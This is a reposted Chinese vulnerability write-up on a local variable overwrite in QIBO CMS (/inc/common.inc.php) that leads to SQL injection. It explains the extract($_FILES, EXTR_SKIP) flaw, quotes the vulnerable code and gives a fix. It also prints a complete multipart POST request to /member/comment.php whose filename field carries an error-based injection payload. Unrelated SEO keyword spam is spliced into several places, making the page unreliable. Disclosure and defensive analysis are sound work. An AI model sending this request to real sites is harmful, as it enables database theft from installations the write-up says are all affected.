失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

时间:2021-10-29 00:16:00

相关推荐

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

php教程|php手册

QIBO,CMS,inc,common.inc.php,Lo

php教程-php手册

移动侦测 源码,vlang重写vscode,ubuntu 完整名称,tomcat漏洞复现,sqlite无驱动,windows搭建apache服务器,qq微信第三方登录插件下载,前端框架和后端框架怎么合并,12306爬虫犯法,英雄连php培训,刷seo关键词优化,超级漂亮网站,建站网页用什么软件,dz模板仿制教程,html显示时间并刷新页面,新闻网站后台管理系统模板,phpwed小程序开发lzw

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 ” 本地变量

源码爱好者 404,vscode部署jsp,ubuntu终端打开不显示路径,iis读tomcat,sqlite数据中文乱码,帝国cms 评论插件,多页面前端框架,爬虫抓取qq隐藏照片,php保存数据,宜家seo分析,网站 底部,网站网页制作图片素材,网站模板规格,人力资源网程序phplzw

房系统网源码,ubuntu创建共享命令,tomcat 访问安全性,福清哪里有爬虫,php的多操作数运算,seo链接软件lzw

目录

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入"本地变量覆盖"、"本地变量未初始化"的安全风险齐博CMS中的漏洞文件/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞

Relevant Link:

/read-forum-tid-422299.htm

2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

1. 首先访问/member下面的"评论管理"功能,抓包2. 在http request中构造一个attachment,如下:/*POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1 Host: 127.0.0.1 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 SE 2.X MetaSr 1.0 Referer: http://127.0.0.1/qibo/member/comment.php?job=work Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=jo9rpav7l51iakidv01vr9fem1; passport=1%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%0922%091425969668%09http%3A%2F%2F127.0.0.1%2Fqibo%2Fmember%2Fcomment.php%3Fjob%3Dwork Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6ukpBHoIrpHKtOkl Content-Length: 227------WebKitFormBoundary6ukpBHoIrpHKtOkl Content-Disposition: form-data; name="cidDB"; filename="1 and EXP(~(select * from(select user())a)) -- " Content-Type: text/plain1111 ------WebKitFormBoundary6ukpBHoIrpHKtOkl--*/注意将原来的URL上的cidDB[]=x删除掉;然后构造一个文件上传的报文(GET改为POST方法)在filename处填入注入的payload3. 提交该数据包,即可注入成功//这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖

Relevant Link:

/learning/detail/291.html

3. 漏洞影响范围

齐博所有系统、所有版本

4. 漏洞代码分析

\qibo\inc\common.inc.php

/*全局变量文件对GPC变量的过滤从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖*/$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);function Add_S($array){ foreach($array as $key=>$value) { if(!is_array($value)) { $value=str_replace("&#x","& # x",$value); //过滤一些不安全字符 $value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数 !get_magic_quotes_gpc() && $value=addslashes($value); $array[$key]=$value; } else { $array[$key]=Add_S($array[$key]); } } return $array;}if(!ini_get( egister_globals)){ @extract($_FILES,EXTR_SKIP);}foreach($_COOKIE AS $_key=>$_value){ unset($$_key);}foreach($_POST AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];}foreach($_GET AS $_key=>$_value){ !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];}

5. 防御方法

\qibo\inc\common.inc.php

if(!ini_get( egister_globals)){ $array = array(Filedata,postfile,upfile,fileData,Filedata); foreach($array AS $key=>$value) { is_array($_FILES[$value]) && $$value = $_FILES[$value]; }}

6. 攻防思考

Copyright (c) LittleHann All rights reserved

如果觉得《QIBO CMS /inc/common.inc.php Local Variables Overriding Vul》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。